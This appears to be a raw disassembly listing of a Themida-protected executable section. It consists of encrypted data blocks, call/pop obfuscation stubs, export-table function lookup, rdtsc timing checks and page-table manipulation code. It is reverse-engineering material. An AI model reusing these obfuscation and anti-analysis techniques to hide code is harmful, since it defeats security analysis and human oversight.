		dd 0DEF7EED1h, 60A3E681h, 0F6817618h, 44F715A8h, 354BA52h
		dd 0EAD15811h, 449BC281h, 0CA811348h, 3E26E95h,	0EA81DAF7h
		dd 67D4CB69h, 815AD631h, 0B5B128EEh, 4EC8356h, 83242489h
		dd 5F042404h, 8904EC83h, 478F2434h, 243C8B08h, 81E28952h
		dd 4C2h, 4C28300h, 5C241487h, 5624348Bh, 0C681E689h, 4
		dd 4C681h, 34870000h, 3DE95C24h, 0E3FFFAFBh, 9A77F694h
		dd 0C66F1704h
; ---------------------------------------------------------------------------


loc_5D6148:				; CODE XREF: Themida_:loc_5D5B37j
		mov	eax, 61984F2h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0CEh, 40h, 48h
		dd 403E013h, 0FBEF3666h, 14263D0Bh, 9F8F5F1Fh, 0DD936538h
		dd 0B6F6BE05h, 0E37FCC6Ch, 0B2C4D95Eh, 0F26E4A26h, 142E947h
		dd 0FCFC0000h, 8614B58Dh, 0BF600619h, 1D24741Ch, 3CE28166h
		dd 858D6194h, 6174134h,	60D0FFF5h, 81F78B66h, 0A80AB3D6h
		dd 60C3615Eh, 0FFABF0Fh, 0F561D6BFh, 6AD98C66h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 423C357h, 14E9h, 7F887F00h, 1E65FF0Bh, 0FB751472h, 7B7E1FEh
		dd 75B8AA71h, 4C1F6C7h,	7A840Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 8564C3C3h
		dd 10E960A1h, 8F000000h, 0C03C5F7Eh, 5D30BF98h,	9C053D6h
		dd 618CAFF5h, 6800Fh, 0B3600000h, 61C18AA2h, 0CB8BFB8Bh
		dd 75AEC032h, 0F7CF2BFDh, 8BF92BD9h, 0D98B49D7h, 20CD00EBh
		dd 1013Fh, 1874C00Bh, 8B0C708Dh, 0A6CB8BFAh, 75490A75h
		dd 1B8FAh, 9EB0000h, 0E4EB008Bh, 0B8h, 6ACF00h,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h
		dd 59D758C3h, 514DE381h, 7860FDCh, 0F000000h, 186h, 6660FC00h
		dd 0FEF7AB8h, 0F61FEB7h, 0F8Fh,	0AE900h, 0C1BC0000h, 32394290h
		dd 187B9AEh, 86B085C7h,	13F0619h, 1DD80001h, 0B16C1EAAh
		dd 6DBD2A8Eh, 7FA3F3CCh, 3B0307D8h, 7E587BA4h, 8B87FD75h
		dd 8B588036h, 0FFE43248h, 0BEAD0D8h, 864F1CDCh,	3D7233B8h
		dd 59B63D74h, 51993275h, 38246375h, 1B663275h, 0B26AF12Ch
		dd 0BA9D1639h, 21C81631h, 7A663275h, 1252F124h,	0DE76C73Ch
		dd 3BC2DB8Ah, 9E2F3275h, 489485F4h, 169F9DBAh, 0E4DFF8FCh
		dd 3B65AB9Ch, 6D335875h, 3B99319Dh, 0F8921275h,	1F12BB2Bh
		dd 1F77B371h, 3B992E71h, 0F89A7475h, 57304F69h,	138228AEh
		dd 982054BFh, 1271B1E7h, 3B602675h, 3B1CB67Ah, 0BA963275h
		dd 3BCC3277h, 8C69FCFEh, 3867DB86h, 3BF33275h, 3BCFDA26h
		dd 60463275h, 67BA69B6h, 7F183651h, 3BD93651h, 68253275h
		dd 0B1607BB6h, 751CBFA0h, 68CA2BF2h, 0B7A0B313h, 84A36D13h
		dd 2366A548h, 0FA795225h, 0B000A214h, 0BB6BFBFh, 5B9F2BF2h
		dd 0D54D548Dh, 6B07DFB1h, 0B2C1B913h, 3BF31671h, 3BCFDA24h
		dd 62463275h, 77BA6BB6h, 7F183651h, 3BD03651h, 6A273275h
		dd 1496C5B6h, 0E0F099BAh, 0EA4D5894h, 0F1E0B86h, 0BEEA78Ah
		dd 3B273461h, 0B09B0F70h, 6E6658B5h, 3B33319Dh,	0F8C41275h
		dd 1FA0BB28h, 1F22B371h, 3B332771h, 0F8CC7775h,	0B0AA4D4Ah
		dd 0CADBB1A3h, 3B352665h, 861A3B00h, 3DD83C50h,	6B7F4675h
		dd 83F3B926h, 3B99360Fh, 23D5B7FCh, 0A6EB3461h,	3D259527h
		dd 63C2E18Ah, 35E98FF6h, 4F663461h, 83606262h, 3B99360Fh
		dd 23D5B7FCh, 0A6EB3461h, 3D259634h, 63C2E18Ah,	0B53C8823h
		dd 5D3F3E99h, 0B0E927CBh, 3B91DAB5h, 6FB63275h,	0B4585561h
		dd 0BA55A95Eh, 659918B4h, 0BCF4AFF8h, 0F5E7346Ch, 66B15C6Ah
		dd 0BE7DB7F8h, 0BBC3346Ch, 3B663264h, 3B333E9Ch, 59486B75h
		dd 600ABDD6h, 73E070A2h, 5DE3CD41h, 0FB92E5FEh,	3B42B67Ah
		dd 378E3275h, 51333275h, 0CDD670A3h, 0ECB3B63Dh, 0D2680BC3h
		dd 3B333278h, 0A044CE2Dh, 18885718h, 443231AEh,	0B6CF6B12h
		dd 2FD4CDE8h, 6DCC5873h, 3B66319Dh, 0F86D1275h,	1FEDBB2Bh
		dd 1F88B371h, 3B662971h, 0F8657475h, 0CE20EE9Dh, 3314C9AAh
		dd 0B0006415h, 31DA6AA4h, 97993275h, 142B66DEh,	0A73319C4h
		dd 388B53F8h, 51993275h, 38246775h, 1B663275h, 0B26EF128h
		dd 0BA9D1619h, 2FC81631h, 7E663275h, 0BAACF120h, 4BDC58AAh
		dd 0C72FCD61h, 0BC26AFF8h, 0CDB2346Ch, 703977A3h, 0BE28B7F8h
		dd 3B0C346Ch, 3B30DA22h, 64B93275h, 47456DB6h, 7FE73651h
		dd 3B273651h, 6CDE3275h, 0D39CF9B6h, 3B663272h,	432E3F13h
		dd 0BBBF58D2h, 64953ABBh, 0EB99DAC4h, 0D360321Fh, 3B993276h
		dd 600F6955h, 3F426EFCh, 3F1776F4h, 3B993262h, 0BE0F6136h
		dd 68C11A71h, 0E79265CAh, 0FB92686Ah, 3B9EB67Ah, 0E5E63275h
		dd 0C4AEBF4Ah, 519F2638h, 38246475h, 1B663275h,	0B26DF12Bh
		dd 0BA9D1601h, 2DC81631h, 7D663275h, 0C2EBF123h, 3B988AE7h
		dd 32243275h, 0C0663275h, 54A1D4Ah, 3D12DBDCh, 0EC138D13h
		dd 0BA85CD2Ah, 0A40FFCA4h, 3B9FDB4Ah, 98A83275h, 83C8111Ch
		dd 0BC76AFF8h, 3BF3346Ch, 3BCFDA24h, 62463275h,	77BA6BB6h
		dd 7F183651h, 3BD93651h, 6A273275h, 0B67A0CB6h,	221CD6F0h
		dd 0E54D5473h, 0EB99F390h, 0D362321Fh, 3B993276h, 620F6B55h
		dd 3F427EFCh, 3F1776F4h, 3B993261h, 2D0F6334h, 0FB6DF9FEh
		dd 3B57B67Ah, 0A6143275h, 3DD87F8Ah, 0D330321Fh, 3B333276h
		dd 655A6C55h, 3FE846FCh, 3F4276F4h, 3B33326Ch, 55A6433h
		dd 0F5791436h, 3BE33DF3h, 34333275h, 3B9937F2h,	0FD758B75h
		dd 38DE58E6h, 51333275h, 38716775h, 1BCC3275h, 0B23BF128h
		dd 0BA371619h, 2E9D1631h, 7ECC3275h, 33F2F120h,	0E5B2C6FFh
		dd 53558615h, 518FD18Ah, 388E6175h, 1B333275h, 0B2C2F12Eh
		dd 0BAC81629h, 27621631h, 78333275h, 0C77CF126h, 118E61ADh
		dd 8598D1A9h, 36F42CB8h, 0BCB78FF8h, 0B641346Ch, 3D7FB909h
		dd 706F4FCDh, 8E1C01FFh, 10CA266Bh, 0AFF8F3BAh,	346CBC26h
		dd 77A3CDB2h, 0B7F87039h, 346CBE28h, 0DA223B0Ch, 32753B30h
		dd 0F305E983h, 8AC08BA4h, 0C38BFCD7h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 8DC35141h, 0F356EA1Eh, 0B70FA302h
		dd 0C08BFCCBh, 83D7B70Fh, 1410F1BDh, 9750006h, 0E25BD83h
		dd 74000614h, 8B535019h, 47AB8C0h, 85890000h, 61424F1h
		dd 0A7B99D8Dh, 0D3FF0616h, 0BD83585Bh, 6140E25h, 50177400h
		dd 47AB853h, 85890000h,	61424F1h, 0A45A9D8Dh, 0D3FF0616h
		dd 0C980585Bh, 8BFE8B2Ah, 6E8C0h, 83620000h, 328CFA42h
		dd 45D38158h, 810EC1D5h, 6FF1C0h, 0BE00h, 80570000h, 8B5A5CC2h
		dd 0B652300Ch, 0F1815BE5h, 4E1ADBB0h, 81AACB80h, 72C58CE9h
		dd 7B45BF7Dh, 0E9817F6Ch, 51DB3D60h, 11E9h, 14ABEC00h
		dd 15C3848Ch, 6806803Bh, 0B46D18A0h, 6051A29Ch,	10E9h
		dd 0F1293900h, 1458D0E6h, 0F4E4E2DBh, 0B901716Ch, 48F61E0h
		dd 0BE830h, 5F650000h, 2286CCDDh, 0FF28EC2Bh, 18C0FB8h
		dd 0FC000000h, 2EE835Bh, 5E94E4Eh, 77000000h, 975E2BE4h
		dd 9108FE81h, 850FFFFFh, 1Ch, 3E28166h,	51E9D4h, 0AE3C0000h
		dd 8AF5A263h, 78C52210h, 2DE850BFh, 902D97ABh, 0AE860h
		dd 2EBD0000h, 70AA7903h, 0FA40F039h, 14E95FF9h,	0FD000000h
		dd 0E1738149h, 6A4D5212h, 4E74FF94h, 0DB9A7C20h, 61F737F8h
		dd 0FFFF2EE9h, 0A8F051FFh, 0A2C50CD5h, 39F9C137h, 8D7143FFh
		dd 198DCB8Dh, 5858906h,	89061400h, 142B698Dh, 45852B06h
		dd 0C706142Eh, 14105585h, 72A806h, 0DE900h, 80BF0000h
		dd 9CDBBEDAh, 4062DC1Bh, 57AEBA7Ch, 7547CE81h, 0C75A195Bh
		dd 14013D85h, 6, 0E1958B00h, 0FF06141Bh, 140E15B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1A04h, 0C3514100h
		dd 4C63807Eh, 8BE98482h, 142C09B5h, 0D995FF06h,	6A06140Bh
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h
		dd 8BDC353h, 3DCE3AFAh,	250A7167h, 95FF006Ah, 6142971h
		dd 5FEBC08Bh, 359C9D1Eh, 5382F52Ah, 967DDCCCh, 82C94D4Bh
		dd 0EE4D2EDFh, 152DDA59h, 0F68451C5h, 5A2D11E7h, 2BA5FB6Ah
		dd 0E6F12939h, 0DB1458D0h, 6CF4E4E2h, 0E0B90171h, 0DD07536Bh
		dd 5C375724h, 5EE2C54Ch, 0CBD6C508h, 55E1EC52h,	97E517CAh
		dd 2DFAEDB7h, 9C7F83B5h, 0D75D639Fh, 5D41F204h,	0E91D343Dh
		dd 266h, 0D98C6660h, 0F04C1F6h,	3584h, 0FF016A00h, 140C2DB5h
		dd 0FE858D06h, 0FF061778h, 458589D0h, 8B06141Ch, 0CEFC1FEh
		dd 6000068h, 6A006A20h,	0D685702h, 0FF000100h, 141C4595h
		dd 32E906h, 85C60000h, 6140849h, 30DF6856h, 0B5FFA9C5h
		dd 6142C65h, 78FE858Dh,	0D0FF0617h, 138D8589h, 858D0614h
		dd 6142529h, 6A406A50h,	95FF5605h, 614138Dh, 0C361h, 2 dup(0)
		dd 8B520000h, 428B60D4h, 0B2858908h, 8B06198Eh,	85890C42h
		dd 6198EAAh, 8910428Bh,	198EAE85h, 0E8B58D06h, 8D06198Eh
		dd 5B8EA185h, 61D0FF00h, 0CC25Ah, 8EB2B58Bh, 858B0619h
		dd 6198EAAh, 8EAEBD83h,	0F000619h, 784h, 0E9068900h, 2
		dd 0CF0688h, 0
		dd 52000000h, 8B60D48Bh, 85890842h, 6198EB2h, 8F39B58Dh
		dd 858D0619h, 5B8EA1h, 5A61D0FFh, 8EB2858Bh, 4C20619h
		dd 0B2858B00h, 8B06198Eh, 0B2858900h, 0CF06198Eh, 0
; ---------------------------------------------------------------------------
		pusha
		mov	[ebp+6198F0Fh],	esi
		mov	[ebp+6198F0Bh],	eax
		lea	eax, [ebp+6141D55h]
		mov	eax, [eax+44h]
		mov	[ebp+6198F48h],	eax
		lea	esi, [ebp+6198F7Eh]
		lea	eax, dword_5B8EA1[ebp]
		call	eax
		popa
		mov	eax, [ebp+6198F0Fh]
		retn
; ---------------------------------------------------------------------------
		mov	ebx, [ebp+6198F0Bh]
		movzx	eax, word ptr [ebx+3Ch]
		add	ebx, eax
		mov	ebx, [ebx+78h]
		add	ebx, [ebp+6198F0Bh]
		mov	esi, [ebx+24h]
		add	esi, [ebp+6198F0Bh]
		push	esi
		mov	edi, [ebx+20h]
		mov	esi, [ebx+1Ch]
		add	edi, [ebp+6198F0Bh]
		add	esi, [ebp+6198F0Bh]
		cld
		or	ecx, 0FFFFFFFFh


loc_5D6B4F:				; CODE XREF: Themida_:005D6B6Dj
					; Themida_:005D6B7Cj
		inc	ecx
		mov	ebx, [ebp+6198F0Fh]
		mov	edx, [edi]
		add	edx, [ebp+6198F0Bh]
		add	edi, 4


loc_5D6B61:				; CODE XREF: Themida_:005D6B75j
		mov	al, [edx]
		test	al, al
		jz	loc_5D6B7A
		cmp	al, [ebx]
		jnz	loc_5D6B4F
		inc	ebx
		inc	edx
		jmp	loc_5D6B61
; ---------------------------------------------------------------------------


loc_5D6B7A:				; CODE XREF: Themida_:005D6B65j
		cmp	al, [ebx]
		jnz	loc_5D6B4F
		pop	edi
		shl	ecx, 1
		movzx	eax, word ptr [edi+ecx]
		mov	eax, [esi+eax*4]
		add	eax, [ebp+6198F0Bh]
		mov	[ebp+6198F0Fh],	eax
		mov	esi, eax
		mov	ecx, esi
		mov	eax, ecx
		cmp	dword ptr [ebp+6198F48h], 0C0300000h
		jnz	loc_5D6BBB
		shr	eax, 14h
		and	eax, 0FFCh
		jmp	loc_5D6BC3
; ---------------------------------------------------------------------------


loc_5D6BBB:				; CODE XREF: Themida_:005D6BA8j
		shr	eax, 12h
		and	eax, 3FF8h


loc_5D6BC3:				; CODE XREF: Themida_:005D6BB6j
		mov	edi, [ebp+6198F48h]
		or	dword ptr [edi+eax], 6
		mov	edx, [edi+eax]
		mov	eax, edx
		and	al, 81h
		cmp	al, 81h
		mov	eax, ecx
		jz	locret_5D6C35
		cmp	dword ptr [ebp+6198F48h], 0C0300000h
		jnz	loc_5D6BFB
		shr	eax, 0Ah
		and	eax, 3FFFFCh
		jmp	loc_5D6C03
; ---------------------------------------------------------------------------


loc_5D6BFB:				; CODE XREF: Themida_:005D6BE8j
		shr	eax, 9
		and	eax, 7FFFF8h


loc_5D6C03:				; CODE XREF: Themida_:005D6BF6j
		sub	eax, 40000000h
		or	dword ptr [eax], 6
		test	dword ptr [eax], 80h
		jz	locret_5D6C35
		cmp	dword ptr [ebp+6198F48h], 0C0300000h
		jz	locret_5D6C35
		and	eax, 3FF8h
		mov	eax, [eax-3FA00000h]
		or	dword ptr [eax], 6

locret_5D6C35:				; CODE XREF: Themida_:005D6BD8j
					; Themida_:005D6C11j ...
		iret
; ---------------------------------------------------------------------------
		lea	eax, [ebp+6198EB6h]
		mov	[ebp+614305Dh],	eax
		lea	eax, [ebp+6198F4Ch]
		mov	[ebp+6141255h],	eax
		lea	eax, [ebp+6198F13h]
		mov	[ebp+6140AB1h],	eax
		lea	ecx, [ebp+6199199h]
		push	ebx
		jmp	loc_5D6C78
; ---------------------------------------------------------------------------
		dw 0CF59h
		dd 60E8ADB5h, 0A56E9FF1h, 0BD7DED20h, 3C0D9F26h
; ---------------------------------------------------------------------------


loc_5D6C78:				; CODE XREF: Themida_:005D6C61j
		pop	esi
		mov	[ebp+6142B69h],	ecx
		add	dl, 53h
		mov	dword ptr [ebp+6141055h], 6848h
		push	0
		push	ebp
		call	sub_5D6C97
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6C97	proc near		; CODE XREF: Themida_:005D6C8Fp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5D6C97	endp

; ---------------------------------------------------------------------------
		test	eax, 7E0D017Dh
		dec	ebp
		db	3Eh
		mov	edx, 6D2528BCh
		mov	dword ptr [ebp+614013Dh], 0
		push	0
		push	ebx
		call	sub_5D6CC8
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6CC8	proc near		; CODE XREF: Themida_:005D6CC0p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 1Ah
		inc	ebx
		push	ebx
		retn
sub_5D6CC8	endp

; ---------------------------------------------------------------------------
		dd 0A8E42640h, 0FF617ED9h, 140ECDB5h, 11890F06h, 0E9000000h
		dd 0Ch,	6AD6022Ch, 0B7DBA78Fh, 0B96A50D1h, 0BD995FFh, 6A0614h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 68FC15C3h, 958BAF46h, 6142565h, 31419D0Bh, 6A0614h
		dd 297195FFh, 0C08B0614h, 9491DEBh, 0CD6A9CFCh,	0FEC03223h
		dd 0DF188258h, 85ED38A4h, 2371BE50h, 33B0E36h, 0E9BE7DF4h
		dd 13Ch, 4Fh dup(0)
; ---------------------------------------------------------------------------
		cmp	dword ptr [ebp+6141569h], 1
		jz	loc_5D7559
		jmp	loc_5D6EB3
; ---------------------------------------------------------------------------
		dw 0ECABh
; ---------------------------------------------------------------------------
		test	al, 31h
		sbb	eax, 2DBE5474h


loc_5D6EB3:				; CODE XREF: Themida_:005D6EA5j
		jmp	loc_5D6EC4
; ---------------------------------------------------------------------------
		dd 402F90A4h, 0A5E89883h, 0C090EF3Ah
; ---------------------------------------------------------------------------


loc_5D6EC4:				; CODE XREF: Themida_:loc_5D6EB3j
		mov	byte ptr [ebp+6140849h], 43h
		jmp	loc_5D6EE3
; ---------------------------------------------------------------------------
		dd 1A9559D3h, 5A756D6Bh, 1A466DE2h, 0A6BCC43Eh
		db 6Eh,	0Eh, 63h
; ---------------------------------------------------------------------------


loc_5D6EE3:				; CODE XREF: Themida_:005D6ECBj
		push	988A68E9h
		jmp	loc_5D6EFA
; ---------------------------------------------------------------------------
		jmp	short loc_5D6F68
; ---------------------------------------------------------------------------
		db 82h
; ---------------------------------------------------------------------------
		scasd
		rcr	dword ptr [eax+6533CC58h], cl
		retf	0AA07h
; ---------------------------------------------------------------------------


loc_5D6EFA:				; CODE XREF: Themida_:005D6EE8j
		xor	dword ptr [esp], 742FB81Ch
		push	0
		push	ebx
		call	sub_5D6F0C
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6F0C	proc near		; CODE XREF: Themida_:005D6F04p

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 16h
		inc	ebx
		push	ebx
		retn
sub_5D6F0C	endp

; ---------------------------------------------------------------------------
		dd 0F87BF85h, 180h, 0FFF5F800h,	142C65B5h, 0CF816006h
		dd 64BB4EB3h, 0F61F48Ah, 188Fh,	12840F00h, 0E9000000h
		dd 0Dh,	0E9A2174h, 103F1697h, 0E6F87481h, 0FE858DB9h, 0FC061778h
		dd 5E9D0FFh, 0F3000000h, 690C39D4h
; ---------------------------------------------------------------------------


loc_5D6F68:				; CODE XREF: Themida_:005D6EEDj
		mov	[ebp+6141E7Dh],	eax
		push	0
		push	ecx
		call	sub_5D6F79
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D6F79	proc near		; CODE XREF: Themida_:005D6F71p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 19h
		inc	ecx
		push	ecx
		retn
sub_5D6F79	endp

; ---------------------------------------------------------------------------
		db 85h,	76h, 0F0h
		dd 607EB947h, 0BE9h, 45A02B00h,	8818D50Ch, 0C15E4D9Eh
		dd 0CCD18160h, 0E871DB04h, 0Ah,	7ABB0804h, 5149AD3Ch, 615B27C0h
		dd 4985C661h, 50061408h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 1Bh, 99C35141h, 13D5A992h,	0F97E9C50h, 1BBE6660h
		dd 61CFB5B4h, 4E8h, 0ADAD5600h,	158B0FA8h, 0E9000000h
		dd 10h,	1FBFCD4Eh, 5BB1BF1Fh, 0A7C4B7F8h, 6440BA36h, 60525050h
		dd 10E9h, 1EF75300h, 0C4B9ADECh, 11166131h, 219D75EEh
		dd 615853E1h, 870F310Fh, 16h, 11E9h, 3344F500h,	0FEB8DDh
		dd 0A6F74B90h, 0FB7DCB27h, 585A7D26h, 424448Bh,	52505250h
		dd 310F6160h, 0CE9h, 0CF022700h, 0C10C1164h, 241CB7C0h
		dd 0F585A34h, 0CE8B6031h, 310F5250h, 5A61585Ah,	0F008B58h
		dd 1884h, 13E900h, 0B9E20000h, 0C0C9CB43h, 15E4896Fh, 26AF6FB6h
		dd 0F8ABE0F9h, 244489E7h, 7E86004h, 5D000000h, 0F0BBCE90h
		dd 0C9BB41D2h, 5E0281D9h, 0DAE7C8B9h, 6A58612Fh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 21D0C350h, 86A0161Eh, 0CB54EFBEh, 2C65B5FFh,	890F0614h
		dd 0Eh,	9E9h, 8895D700h, 6FF23215h, 858DBB2Bh, 61778FEh
		dd 6AD0FFF5h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 530FC351h, 11E9h, 0CABEBB00h
		dd 4CF2282h, 0B9E70E2Ah, 0D8D82BDEh, 8E9223Fh, 24000000h
		dd 0CCB2C91Dh, 890F1B0Dh, 14233D85h, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0FE97E91h
		dd 987h, 8B666000h, 0C4BB66DFh,	0AE96164h, 16000000h, 84BA326Dh
		dd 0BFA2BDE1h, 4E8DAh, 0A82F0000h, 0EE9F08Fh, 0C2000000h
		dd 0F0B42146h, 638E50F5h, 39DC68C2h, 840F50C4h,	19h, 14E9h
		dd 631D0600h, 0E663925Bh, 51707262h, 300FD409h,	0E943B70Dh
		dd 24448B5Dh, 60525004h, 0D68B5953h, 0E9310F61h, 0Bh, 2190F607h
		dd 4F050D5Eh, 5AE125F3h, 60008B58h, 0BE8h, 0B997D700h
		dd 0BC5C72Eh, 0CACB6EADh, 66596160h, 61B4CDB8h,	4244489h
		dd 52505250h, 310F6160h, 14E9h,	8F5A8000h, 91F05017h, 0F2FF2212h
		dd 0C913DCFAh, 2214C18h, 0F585AF9h, 52506031h, 585A310Fh
		dd 8C0Fh, 5A610000h, 0F605858h,	8D0FF3B7h, 4, 0D128BE66h
		dd 65B5FF61h, 6006142Ch, 4AB5C081h, 8B0F55CEh, 2, 0E9616160h
		dd 12h,	0ACFEACD2h, 6D16D5AAh, 0E184BA32h, 0DABFA2BDh
		dd 858DC453h, 61778FEh,	14E960h, 0D3BC0000h, 56A67417h
		dd 85F28067h, 4066AF2Fh, 6D072350h, 61F8DF59h, 8C0FD0FFh
		dd 17h,	11820Fh, 0CE90000h, 0F8000000h,	0DF7D07B3h, 0A544E773h
		dd 600D321Eh, 59FC8A52h, 12880Fh, 0CE80000h, 3A000000h
		dd 0DA58E6E9h, 9764C566h, 5E21041Ch, 89858961h,	60061430h
		dd 8746B966h, 615FFC50h, 84985C6h, 60500614h, 3890Fh, 0BF0F0000h
		dd 6E8D8h, 0DDBC0000h, 81F875DBh, 709FB866h, 268615Eh
		dd 602DAEB3h, 0B8BE5250h, 0F45A35Dh, 99A2B831h,	585A0BC4h
		dd 8161D88Bh, 29542404h, 0FFF869EEh, 140C2DB5h,	81666006h
		dd 0E9E295EAh, 13h, 0B871E561h,	38B64462h, 2A0110BFh, 0FDC48519h
		dd 6105A880h, 3B4E858Dh, 0EE90614h, 18000000h, 4C511DFCh
		dd 6E74DF28h, 0E5E77AACh, 60D0FF67h, 870Fh, 61F90000h
		dd 0AFD8589h, 8B0F0614h, 11h, 0CE9h, 0D2AF9B00h, 0F986F5F6h
		dd 983A5480h, 1CFE919h,	880F0000h, 0Ah,	5E9h, 0EEFFAE00h
		dd 509579FBh, 60525052h, 50310F61h, 5A310F52h, 0F585A58h
		dd 0C38B6031h, 810Fh, 5A610000h, 52505058h, 11E9h, 661B1E00h
		dd 5D31E8E4h, 54AEE76Dh, 0ABEEEFB8h, 310F781Eh,	68C0Fh
		dd 850F0000h, 0
; ---------------------------------------------------------------------------
		pop	edx
		pop	eax
		xchg	eax, ebp
		push	0
		push	esi
		call	sub_5D73EE
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D73EE	proc near		; CODE XREF: Themida_:005D73E6p

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 1Dh
		inc	esi
		push	esi
		retn
sub_5D73EE	endp

; ---------------------------------------------------------------------------
		dw 7A12h
		dd 89E5690Dh, 0A0136572h, 0CE9h, 9CF7D00h, 0BEED93CAh
		dd 59F5EB04h, 0F9EC8B17h, 28B0F60h, 0B1000000h,	61F78BCAh
		dd 0FFCC483h, 183h, 6060F800h, 198D0Fh,	14E90000h, 40000000h
		dd 353EED13h, 0BF4BD804h, 60ACDC0Dh, 4B34C355h,	662FE4FBh
		dd 61F694BFh, 6BF6660h,	13E904h, 8C0B0000h, 0ABD1406Dh
		dd 6AA2567Bh, 26198D93h, 0E1FFA733h, 0E86166h, 5A000000h
		dd 98DFEA81h, 45C70619h, 0FCh, 69BA8300h, 1061415h, 98840Fh
		dd 6A520000h, 0FF0F6A00h, 141E7D92h, 82895A06h,	61991C0h
		dd 91C49A8Dh, 0C7520619h, 12803h, 0FF505300h, 14233D92h
		dd 8D525A06h, 1991C49Ah, 0B2FF5306h, 61991C0h, 0AFD92FFh
		dd 0B5A0614h, 8D5074C0h, 1991C49Ah, 247B8D06h, 0F981C933h
		dd 104h, 8141D474h, 452E393Ch, 0EE754558h, 2B39348Dh, 0BA8D0C75h
		dd 61431A5h, 0F30C4D8Bh, 0AAC032A4h, 875FF52h, 31A5828Dh
		dd 0FF500614h, 14308992h, 0C00B5A06h, 45C7A075h, 1FCh
		dd 0C707EB00h, 0FC45h, 8B610000h, 0C2C9FC45h, 6AF90008h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 19042444h
		dd 46000000h, 3587C356h, 86E91A23h
; ---------------------------------------------------------------------------
		stc


loc_5D7559:				; CODE XREF: Themida_:005D6E9Fj
		mov	edx, edx
		jmp	loc_5D7728
; ---------------------------------------------------------------------------
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd offset byte_418880+8
		dd 4 dup(0)
		dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h
		dd 0
		dd 600h, 4444h,	41h, 11111111h,	44444444h, 0C9880299h
		dd 100203h, 118888h, 88888888h,	11111111h, 1644h, 2 dup(88000000h)
		dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2	dup(0)
aIiiiiiiiaiiiii	db 'ˆˆˆˆˆˆˆˆ€ˆˆˆˆˆˆˆˆˆˆˆˆˆ',0
aIssi		db 'ˆ™™ˆ',8,0
		db 2 dup(0), 88h
aDdddddddiiiiii	db 'DDDDDDDDˆˆˆˆˆˆˆˆ',0
aAs		db '€™',0
		dd 88998000h, 88888888h, 88888900h, 89998888h, 0
		dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h
		dd 8888888h, 3E362E26h,	67666564h, 0F3F2F0h, 0
		dd 0FFFFFFFFh, 4016E6h,	4016FAh, 2 dup(0)
		dd 3, 14h dup(0)
; ---------------------------------------------------------------------------
		retn	8
; ---------------------------------------------------------------------------
		db 66h
		dd 0FE807573h, 12h dup(0)
; ---------------------------------------------------------------------------


loc_5D7728:				; CODE XREF: Themida_:005D755Bj
		jmp	loc_5D7A80
; ---------------------------------------------------------------------------
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6199B97h
		pusha
		mov	dword ptr [ebp+6199AE4h], 0
		cmp	word ptr [esi],	0A166h
		jnz	loc_5D775F
		mov	dword ptr [ebp+6199AE8h], 6
		jmp	loc_5D7783
; ---------------------------------------------------------------------------


loc_5D775F:				; CODE XREF: Themida_:005D774Aj
		lea	eax, [ebp+6199AECh]
		push	eax
		lea	eax, [ebp+6199B3Ch]
		push	eax
		push	esi
		push	0
		call	sub_5D7792
		add	esp, 10h
		and	eax, 0FFh
		mov	[ebp+6199AE8h],	eax


loc_5D7783:				; CODE XREF: Themida_:005D775Aj
		popa
		add	esi, [ebp+6199AE8h]
		mov	eax, [ebp+6199AE4h]
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5D7792	proc near		; CODE XREF: Themida_:005D7770p

var_7		= byte ptr -7
var_6		= byte ptr -6
var_5		= byte ptr -5
var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_6199ADC	= dword	ptr  6199AE4h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	[ebp+var_5], 0
		and	[ebp+var_6], 0
		xor	dl, dl
		and	[ebp+var_1], dl
		cmp	[ebp+arg_0], 0
		jz	loc_5D77BF
		mov	[ebp+var_4], 2
		mov	[ebp+var_3], 0FEh
		mov	[ebp+var_2], 1
		jmp	loc_5D77CB
